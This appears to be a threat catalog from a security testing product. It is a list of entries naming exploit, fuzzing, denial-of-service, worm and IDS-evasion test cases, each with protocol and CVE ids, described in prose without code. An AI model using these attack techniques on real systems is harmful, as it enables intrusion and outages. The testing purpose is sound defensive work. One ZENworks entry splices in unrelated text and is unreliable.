Detailed Description:	A heap-based buffer overflow vulnerability exists in IBM SPSS SamplePower. The vulnerability is due to a lack of boundary checking on the user-supplied TabCaption value in the clsizer ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5946
OSVDB:	92845
Threat File Name:	imap_buffer_overflow_257.xml
Executive Description:	IMAP Buffer Overflow [257] Attack
Detailed Description:	This generic threat sends a long buffer [257 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	IMAP

Threat Package:	Standard
Threat File Name:	smaillHeap_IPv6.xml
Executive Description:	SMail Heap Overflow (IPv6 Version)
Detailed Description:	This is an attempt to cause a heap overflow in the SMail daemon. SMail is a SMTP server for Unix based machines, much like Sendmail. It listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-0892
Threat Package:	Standard
Threat File Name:	FSC20080212-12_Microsoft_Windows_OLE_Automation_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows OLE Automation Remote Code Execution (IPv6 Version)
Detailed Description:	There exist a memory corruption vulnerability in Microsoft Object Linking and Embedding (OLE) Automation component. The flaw is due to a integer overflow when handling crafted OLE steam data. Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the vulnerable system with privileges of the currently logged in users. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0065
Threat Package:	Standard
Threat File Name:	ipv6_SymantecFirewallDNSDOS_IPv6.xml
Executive Description:	IPv6 Symantec Firewall DNS Response Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a DNS packet where the compressed name pointer points back to itself, causing curious Symantec Firewall applications to cause the kernel to go into an infinite loop. This is an IPv6 version of the attack. (IPv6 Version)
Protocol Type:	DNS/IPv6
Threat Package:	Standard
Threat File Name:	phpMyNewsletter_rfi.xml
Executive Description:	phpMyNewsLetter Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. phpMyNewsletter is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-1887
Threat Package:	Standard
Threat File Name:	TSL20150908-37_Microsoft_Internet_Explorer_CTableColCalc_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CTableColCalc Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an out-of-bounds memory access. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2499
Threat File Name:	TSL20170327-01_Microsoft_IIS_WebDAV_ScStoragePathFromUrl_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft IIS WebDAV ScStoragePathFromUrl Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow exists in Microsoft Internet Information Services 6.0. The vulnerability is due to improper validation of a long "If:" header in HTTP requests. A remote attacker could exploit this vulnerability by sending a crafted request over a network to the vulnerable application. Successful exploitation could result in denial of service conditions or, in the worst case, arbitrary code execution in the context of NETWORK SERVICE.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-7269
Threat File Name:	FSC20091028-13_Mozilla_Firefox_Browser_Engine_Memory_Corruption.xml
Executive Description:	Mozilla Firefox Browser Engine Memory Corruption
Detailed Description:	A memory corruption vulnerability is reported in Mozilla Firefox web browser. The vulnerability is due to an implementation error when handling the first letter frame. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious web page. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3382
Threat Package:	Standard
Threat File Name:	ntp_readvarBoF_IPv6.xml
Executive Description:	ntpd ReadVar Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the NTP daemon. This allows a remote attacker to run arbitrary shellcode on the target system. NTP typically listens on UDP port 123. (IPv6 Version)
Protocol Type:	NTP/IPv6
CVEID:	CVE-2001-0414
OSVDB:	536
Threat Package:	Standard
Threat File Name:	brightstor_probe_BoF_IPv6.xml
Executive Description:	Brighstor Backup Probe Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in Computer Associates Brighstor Backup program. This is caused by sending a malformed packet to port 41524. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-0260
OSVDB:	13613
Threat Package:	Standard
Threat File Name:	adminbot-mx_rfi_IPv6.xml
Executive Description:	AdminBot-MX Live_Status.Lib.PHP Remote File Include Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AdminBot-MX is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2986
Threat Package:	Standard
Threat File Name:	firefly_mediaserver_dos_IPv6.xml
Executive Description:	Firefly Media Server <= 0.2.4 Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a denial of service in Firefly Media Server via an empty Authorization header line. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5824
Threat Package:	Standard
Threat File Name:	FSC20050309-01_CA_License_Software_Invalid_Command_Buffer_Overflow.xml
Executive Description:	CA License Software Invalid Command Buffer Overflow
Detailed Description:	A vulnerability has been reported in the CA License software of CA products. The CA License software is a license management tool that allows CA customers to register and manage their product licenses on a computer network. It is prone to a buffer overflow when logging a crafted message with an overly long invalid command. The flaw may allow a malicious user to execute code on the vulnerable system with system or root level privileges. In a simple attack case, aimed at creating a denial of service condition, the affected service will terminate. If the service is not configured to restart automatically, then the CA License package functionality of CA products will be unavailable following an attack. In the case of the server component being successfully terminated, CA products that require a license from the server will be unable to function normally. In a more sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature and intent of the injected code. The code will execute with the privileges of Local System or root.
Protocol Type:	Not available
CVEID:	CVE-2005-0581
Threat Package:	Standard
Threat File Name:	ibm_domino_dwa7wdll_activex_bof.xml
Executive Description:	IBM Domino Web Access Upload Module dwa7w.dll Memory Corruption Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in IBM Domino Web Access Upload Module dwa7w.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4474
Threat Package:	Standard
Threat File Name:	w3filer_dos_IPv6.xml
Executive Description:	W3Filer 2.1.3 Banner Handling Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat causes a W3Filer client to crash by sending a large banner from a ftp server. This threat is delivered via ftp server listening on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2007-3548
Threat Package:	Standard
Threat File Name:	FSC20071023-16_IBM_Lotus_Domino_IMAP_Server_Buffer_Overflow.xml
Executive Description:	IBM Lotus Domino IMAP Server Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way IBM Lotus Domino IMAP Server handles LSUB requests. The vulnerability is due to lack of boundary protection while processing the subscribed mailbox names. A remote authenticated attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable system within the security context of the affected service, normally System
Protocol Type:	TCP
CVEID:	CVE-2007-3510
Threat Package:	Standard
Threat File Name:	as-scan.xml
Executive Description:	Phenoelit Autonomous System Scanner
Detailed Description:	This threat mimics the behavior of Phenoelit's Autonomous System Scanner in active mode. It attempts to discover the AS of a router using IRDP, RIPv1, RIPv2, and IGRP.
Protocol Type:	IRDP, IGRP, RIPv1, RIPv2
Threat Package:	Standard
Threat File Name:	TSL20140416-19_Oracle_Data_Quality_PostcardPreviewInt_onclose_Untrusted_Pointer_Dereference_IPv6.xml
Executive Description:	Oracle Data Quality PostcardPreviewInt onclose Untrusted Pointer Dereference(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSSL2.TransformerTools.PostcardPreviewInt ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2014-2415
OSVDB:	105821
Threat File Name:	fuzz-SMTP-HELO_Parameter_hash_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with # (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with # from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	lupper14_IPv6.xml
Executive Description:	Lupper Worm 14 (IPv6 Version)

Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20170314-02_VIPA_Controls_WinPLC7_recv_Stack-based_Buffer_Overflow.xml
Executive Description:	VIPA Controls WinPLC7 recv Stack-based Buffer Overflow
Detailed Description:	A stack-based buffer overflow exists in VIPA Controls WinPLC7. The vulnerability is due to improper validation of a length field within received TCP packet data before copying the contents to a stack-based buffer. A remote attacker could exploit this vulnerability by sending maliciously crafted TPKT payloads via TCP to the vulnerable application. Successful exploitation could result in denial of service conditions or, in the worst case, arbitrary code execution in the context of the user running the application.
Protocol Type:	s7
CVEID:	CVE-2017-5177
Threat File Name:	FSC20090512-04_Microsoft_Office_PowerPoint_File_Handling_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Office PowerPoint File Handling Integer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in Microsoft Office PowerPoint. This vulnerability is due to an integer overflow error when allocating space for a number of records of a specific type. A remote, unauthenticated attacker may leverage this vulnerability, via a specially crafted PowerPoint file, to create a denial of service condition of the affected application, or inject and execute arbitrary code on the target host. In an attack case where code injection is not successful, the target application will terminate or stop responding. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with privileges of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0221
Threat Package:	Standard
Threat File Name:	TSL20070730-01_VMware_Workstation_ActiveX_Control_vielib_dll_Command_Execution.xml
Executive Description:	VMware Workstation ActiveX Control vielib.dll Command Execution
Detailed Description:	There exists a access control weakness vulnerability in the way VMware Workstation ActiveX Control handles user supplied data. The vulnerability is a result of insufficient data validation while processing the StartProcess method call from a webpage script. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged-in user. An attack targeting this vulnerability can result in arbitrary command execution. If command execution is successful, the behaviour of the target will depend on the intention of the attacker. Any command will be executed within the security context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2007-4058
Threat File Name:	sipaddrspace.xml
Executive Description:	SIPPING: Spaces in Address
Detailed Description:	This threat sends out a SIP OPTIONS message with spaces in the To: address. This is invalid and because it is unexpected may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20080610-12_Microsoft_Windows_Pragmatic_General_Multicast_Fragment_Handling_DoS.xml
Executive Description:	Microsoft Windows Pragmatic General Multicast Fragment Handling DoS
Detailed Description:	A vulnerability has been reported in Microsoft Windows implementation of Pragmatic General Multicast (PGM) protocol. The vulnerability is a result of improper resource control when processing fragmented PGM packets. A remote attacker can exploit this vulnerability by sending a large amount of fragmented PGM packets to the target to cause a denial of service condition. The kernel memory on the vulnerable target system will decrease as a result of a successful denial of service attack targeting this vulnerability. When the kernel/system runs out of memory a denial of service condition will occur. In such a case, the system must be restarted to restore normal functionality. If the system does not get into an out of memory condition, and the attacker stops sending malicious packets, the system will automatically be restored and the memory be released after 20 minutes or so.
Protocol Type:	PGM
CVEID:	CVE-2008-1441
Threat Package:	Standard
Threat File Name:	gdivix_zenith_player_bof_IPv6.xml
Executive Description:	GDivX Zenith Player AviFixer Class (fix.dll 1.0.0.1) Buffer Overflow (IPv6 Version)
Detailed Description:	This threat demonstrates a buffer overflow against an ActiveX component through its SetInputFile filename argument, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	telestream_flipmac_moab-01-27-07_IPv6.xml
Executive Description:	Telestream Flip4Mac WMV Parsing Memory Corruption Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in Telestream Flip4Mac's WMV parser via a maliciously crafted wmv file, that when opened will result in memory corruption on the affected system. Telestream Flip4Mac is a client application, this threat delivers the malicious file via a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0466
Threat Package:	Standard
Threat File Name:	FSC20040927-01_Macromedia_JRun_4_x_Server_File_Disclosure_Vulnerability_IPv6.xml
Executive Description:	Macromedia JRun 4.x Server File Disclosure Vulnerability (IPv6 Version)
Detailed Description:	There is a vulnerability in the way Macromedia JRun server processes URLs. A specially crafted request for a file can bypass access restrictions on JRun. This can result in the source of the requested script file to be served rather than the intended script output. This vulnerability may be leveraged to reveal sensitive information such as account names, passwords, paths to internal resources, and so on. (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2004-0928
Threat Package:	Standard
Threat File Name:	web-news_rfi.xml
Executive Description:	Web-News Template.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Web-News is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5053
OSVDB:	29106
Threat Package:	Standard
Threat File Name:	ms06-055.xml
Executive Description:	Internet Explorer Vector Markup Language Exploit
Detailed Description:	This threat causes Internet Explorer to unexpectedly crash or run malicious code. Internet Explorer is a web browser. This attack would typically come from a malicious web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4868
Threat Package:	Standard
Threat File Name:	phpmychat_xss_c_IPv6.xml
Executive Description:	PHPMyChat users_popupL.php Cross-Site Scripting Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. PHPMyChat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3991
OSVDB:	21546
Threat File Name:	FSC20071123-04_FLAC_Project_libFLAC_Picture_Metadata_Picture_Description_Size_Buffer_Overflow.xml
Executive Description:	FLAC Project libFLAC Picture Metadata Picture Description Size Buffer Overflow
Detailed Description:	A heap memory overflow vulnerability exists in the Free Lossless Audio Codec (FLAC) library embedded and used by various products. The vulnerability is due to boundary errors when processing FLAC audio files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted FLAC audio file. Successful exploitation may lead to arbitrary code execution in the security context of the affected application, normally using the privileges of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4619
Threat Package:	Standard
Threat File Name:	FSC20090728-06_Microsoft_Internet_Explorer_HTML_Objects_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Objects Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to the way Internet Explorer handles table operations in specific situations. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1918
Threat Package:	Standard
Threat File Name:	FSC20060411-17_Microsoft_FrontPage_Server_Extensions_Cross_Site_Scripting_IPv6.xml
Executive Description:	Microsoft FrontPage Server Extensions Cross Site Scripting (IPv6 Version)
Detailed Description:	A Cross Site Scripting vulnerability exists in Microsoft FrontPage Server Extensions and Microsoft SharePoint Team Services. The vulnerability is caused as a result of the failure of these products to properly validate certain CGI parameters passed to them. This vulnerability allows arbitrary HTML code to be injected and executed in the context of the web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0015
Threat Package:	Standard
Threat File Name:	TSL20170710-01_PHP_gdImageCreateFromGifCtx_Out_of_Bounds_Read.xml
Executive Description:	PHP gdImageCreateFromGifCtx Out of Bounds Read
Detailed Description:	An out of bounds read vulnerability has been reported in PHP. The vulnerability is due to improper handling of objects in memory within the gdImageCreateFromGifCtx() function of gd_gif_in.c. A remote attacker could exploit this vulnerability by supplying a crafted image file to an application using the affected function. Successful exploitation of this vulnerability could lead to information disclosure.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-7890
Threat File Name:	phpmyphorum_IPv6.xml
Executive Description:	PHPMyphorum 1.5a (mep/frame.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyPhorum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0361
Threat Package:	Standard
Threat File Name:	TSL20140220-06_MW6_Technologies_DataMatrix_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	MW6 Technologies DataMatrix ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the MW6 Technologies DataMatrix ActiveX Control. The vulnerability is due to improperly handling of the Data property value. A remote attacker can exploit this vulnerability by crafting a malicious HTML document causing a buffer overflow. Successful exploitation could lead to code execution in the security context of the current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6040

OSVDB: [102324](#)

Threat File Name:	fuzz-SMTP-HELO_Parameter_forwardSlash.xml
Executive Description:	Fuzz SMTP HELO verb with /
Detailed Description:	Fuzzes the SMTP HELO Parameter with / from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	lupper35_IPv6.xml
Executive Description:	Lupper Worm 35 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20131101-11_HP_LoadRunner_Virtual_User_Generator_saveCodeRuleFile_Directory_Traversal.xml
Executive Description:	HP LoadRunner Virtual User Generator saveCodeRuleFile Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in HP LoadRunner Virtual User Generator. The vulnerability exists in the EmulationAdmin web service. The vulnerability is due to insufficient validation on the parameters of saveCodeRuleFile method sent via SOAP requests. A remote unauthenticated attacker can exploit this vulnerability to create arbitrary files on the server. Successful exploitation of the vulnerability could lead to arbitrary code execution on the target system.
Protocol Type:	SOAP/HTTP
CVEID:	CVE-2013-4838
OSVDB:	99232
Threat File Name:	nctwmfile2_IPv6.xml
Executive Description:	NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) "CreateFile()"Insecure Method (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the NCTAudioStudio2 ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0018
OSVDB:	32032
Threat Package:	Standard
Threat File Name:	nettools_cmi_IPv6.xml
Executive Description:	PHP Net Tools 2.7.1 Remote Code Execution Exploit (IPv6 Version)
Detailed Description:	This threat exploits the fact that arguments passed to the script are not filtered properly in order to prevent execution of arbitrary commands when calling system(). PHP Net Tools is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0471
Threat Package:	Standard
Threat File Name:	datadynamics_actrpt2_activex_overwrite_IPv6.xml
Executive Description:	Data Dynamics ActiveReport ActiveX (actrpt2.dll <= 2.5) Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Data Dynamics ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	cmsfaethon_rfi_IPv6.xml
Executive Description:	CMS Faethon Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote file to include in the returned page via malicious code in a web cookie for every installed script.CMS Faethon is an web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100908-14_Adobe_Acrobat_and_Reader_CoolType.dll_Stack_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat and Reader CoolType.dll Stack Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Adobe Acrobat and Reader. The vulnerability is due to a stack-based buffer overflow error within the CoolType.dll module when handling PDF files containing TTF fonts. Remote attackers could exploit this vulnerability by enticing target users to open a malicious PDF document. Successful exploitation would result in arbitrary code execution in the context of the logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,NFS
CVEID:	CVE-2010-2883
Threat Package:	Standard
Threat File Name:	TSL20170710-01_PHP_gdImageCreateFromGifCtx_Out_of_Bounds_Read_IPv6.xml
Executive Description:	PHP gdImageCreateFromGifCtx Out of Bounds Read (IPv6 Version)
Detailed Description:	An out of bounds read vulnerability has been reported in PHP. The vulnerability is due to improper handling of objects in memory within the gdImageCreateFromGifCtx() function of gd_gif_in.c. A remote attacker could exploit this vulnerability by supplying a crafted image file to an application using the affected function. Successful exploitation of this vulnerability could lead to information disclosure.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-7890
Threat File Name:	knowledgebase_rfi.xml
Executive Description:	ActiveCampaign KnowledgeBuilder Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. KnowledgeBuilder is a web application that typically listens on port 80.
Protocol Type:	HTTP

Threat Package:	Standard
Threat File Name:	freesshd_bof_IPv6.xml
Executive Description:	freeSSHd and WeOnlyDo! SSHD Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is a buffer overflow attack against two Windows SSH daemons. By sending a very long string in the initial key exchange, the SSH daemon can be caused to run arbitrary code. The payload of this threat will bind a shell to port 1977. SSH typically runs on port 22. (IPv6 Version)
Protocol Type:	SSH/IPv6
OSVDB:	25463
Threat Package:	Standard
Threat File Name:	carsportal_sqli_a.xml
Executive Description:	Cars Portal index.php Multiple SQL Injection Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Edgwall an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4055
OSVDB:	21482
Threat File Name:	FSC20100325-01_OpenSSL_TLS_Connection_Record_Handling_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSL TLS Connection Record Handling Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability has been reported in OpenSSL. The flaw is due to an error in the ssl3_get_record() function when handling TLS connections. A remote attacker can exploit this vulnerability by crafting certain records in TLS packets. Successful exploitation would result in the termination of the affected service due to a read attempt at NULL, which leads to a Denial of Service condition. (IPv6 Version)
Protocol Type:	TLS/IPv6
CVEID:	CVE-2010-0740
Threat Package:	Standard
Threat File Name:	dlink_bypassAuth2_IPv6.xml
Executive Description:	D-Link Config File Retrieval (IPv6 Version)
Detailed Description:	This attack retrieves the configuration file from certain D-Link routers. It takes advantage of a failed password check on the router's web management interface. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	InternetExplorerMediaBar.xml
Executive Description:	Internet Explorer MS03-040 Media Bar Resource Injection
Detailed Description:	This threat attempts to download a file and execute it through the media bar in Internet Explorer. Can allow a malicious web site to run arbitrary code on the host. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2003-0604
OSVDB:	3067
Threat Package:	Standard
Threat File Name:	kodak_img_tiff_rexec.xml
Executive Description:	Kodak Image Viewer TIF/TIFF Code Execution Vulnerability
Detailed Description:	This threat uses a web server to deliver a malicious tiff image that once opened with a vulnerable Kodak Image Viewer application will result in arbitrary code execution . This threat uses a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2217
Threat Package:	Standard
Threat File Name:	TSL20110902-04_MPlayer_for_Windows_Calloc_Integer_Overflow_IPv6.xml
Executive Description:	MPlayer for Windows Calloc Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability has been reported in the MPlayer for Win32 project's port of the MPlayer media player. The integer overflow is due to a unchecked multiplication of two size values in a "calloc" replacement function. A remote attacker could exploit this vulnerability by enticing a target user to open a specially crafted media file in a vulnerable version of MPlayer. Successful exploitation could allow the execution of arbitrary code in the security context of the target user. An unsuccessful exploitation attempt could result in a denial of service condition.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	fuzz-HTTP-GET_PrepndHTTPWithformats.xml
Executive Description:	Fuzz HTTP GET with Request-URI prepended with %s
Detailed Description:	Fuzzes the Request-URI Version field by prepending %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20130326-05_Novell_ZENworks_Configuration_Management_File_Upload.xml
Executive Description:	Novell ZENworks Configuration Management File Upload
Detailed Description:	A file upload vulnerability exists in Novel ZENworks Configuration Management. This vulnerability is caused by insufficient authentication and a directory traversal in the Control Center module that allows arbitrary file uploads. Remote, unauthenticated attackers could exploit this vulnerability by sending crafted packets to the affected service. Successful exploitation would allow the attacker to execute arbitrary code on the machine running the vulnerable service with administrative privileges. component of Novell GroupWise Client for Windows. This function can be called using an ActiveX control. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTPS
CVEID:	CVE-2013-1080
OSVDB:	91627
Threat File Name:	FSC20100305-01_Mozilla_Firefox_WOFF_Font_Processing_Integer_Overflow_IPv6.xml

Executive Description:	Mozilla Firefox WOFF Font Processing Integer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Mozilla Firefox. The vulnerability is due to an integer overflow error in a font decompression routine within the Web Open Fonts Format (WOFF) decoder. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target machine by enticing a user to open a maliciously crafted WOFF file. In attack scenarios where code execution is successful the behaviour of the target system depends entirely on the logic of the injected code, which would run within the security context of the currently logged in user. In situations where code execution is not successful the affected application may terminate abnormally.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-1028
Threat Package:	Standard
Threat File Name:	TSL20160422-01_GD_Library_libgd_gd_gd2.c_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	GD Library libgd gd_gd2.c Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability has been reported in libgd. The vulnerability is due to a signedness error that leads to a heap buffer overflow. Libgd is included within PHP. A remote attacker can exploit this flaw having the target process a crafted malicious GD2 file. Successful exploitation could result in code execution in the security context of the user process.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3074
Threat File Name:	FSC20100608-20_Microsoft_Office_Excel_RTD_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel RTD Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Excel. The vulnerability is due to a flaw while parsing specially crafted RealTimeData (RTD) records within Excel files. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-1246
Threat Package:	Standard
Threat File Name:	NTFragEva2.xml
Executive Description:	Fragment Reassembly: Windows NT Fragment Evasion
Detailed Description:	This threat sends a fragmented ICMP packet which does not have an IP fragment offset of zero. Can be used for evading firewalls. A vulnerable system will reply back with an ICMP reply message.
Protocol Type:	ICMP
CVEID:	CVE-1999-1463
OSVDB:	10616
Threat Package:	Standard
Threat File Name:	snortByPassURI.xml
Executive Description:	Snort URI Bypass Attempt
Detailed Description:	This threat attempts to bypass the snort URI parser by inserting a carriage return after the URL of the HTTP request. This is a valid HTTP .9 request. The threat sent is the awstats vulnerability. Snort doesn't see it. This attack is targeted at a vulnerable webservice, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2769
OSVDB:	25837
Threat Package:	Standard
Threat File Name:	FSC20100804-02_HP_OpenView_Network_Node_Manager_OvJavaLocale_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager OvJavaLocale Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to an error in the webappmon.exe CGI application when processing the OvJavaLocale cookie variable sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the webappmon.exe process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2709
Threat Package:	Standard
Threat File Name:	TSL20101026-08_Mozilla_Firefox_document_write_And_DOM_Insertions_Memory_Corruption.xml
Executive Description:	Mozilla Firefox document.write And DOM Insertions Memory Corruption
